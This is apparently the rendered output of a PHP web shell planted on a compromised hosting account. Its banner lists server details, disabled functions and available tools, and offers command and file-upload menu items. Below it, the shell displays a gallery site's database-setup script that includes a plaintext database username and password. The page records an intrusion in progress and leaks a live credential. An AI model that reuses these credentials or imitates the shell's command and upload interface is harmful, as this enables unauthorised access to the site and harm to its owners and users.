|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.108 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/connectivity/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$dsn = 'mysql:host=localhost';
$username = 'u438053920_gallery_db';
$password = 'mhwQW0>5Bw';
try {
$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Create the database
$pdo->exec("CREATE DATABASE IF NOT EXISTS u438053920_gallery_db");
// Select the database
$pdo->exec("USE u438053920_gallery_db");
// Create the sections table
$sectionsTable = "
CREATE TABLE IF NOT EXISTS sections (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255) NOT NULL,
category VARCHAR(255) NOT NULL,
description TEXT NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)";
$pdo->exec($sectionsTable);
// Create the images table
$imagesTable = "
CREATE TABLE IF NOT EXISTS images (
id INT AUTO_INCREMENT PRIMARY KEY,
section_id INT,
image_path VARCHAR(255) NOT NULL,
FOREIGN KEY (section_id) REFERENCES sections(id) ON DELETE CASCADE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)";
$pdo->exec($imagesTable);
// Create the sections table
$sectionsTable = "
CREATE TABLE IF NOT EXISTS sections1 (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255) NOT NULL,
category VARCHAR(255) NOT NULL,
description TEXT NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)";
$pdo->exec($sectionsTable);
// Create the images table
$imagesTable = "
CREATE TABLE IF NOT EXISTS images1 (
id INT AUTO_INCREMENT PRIMARY KEY,
section_id INT,
image_path VARCHAR(255) NOT NULL,
FOREIGN KEY (section_id) REFERENCES sections(id) ON DELETE CASCADE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)";
$pdo->exec($imagesTable);
echo "Database and tables created successfully!";
} catch (PDOException $e) {
die('Database creation failed: ' . $e->getMessage());
}
?>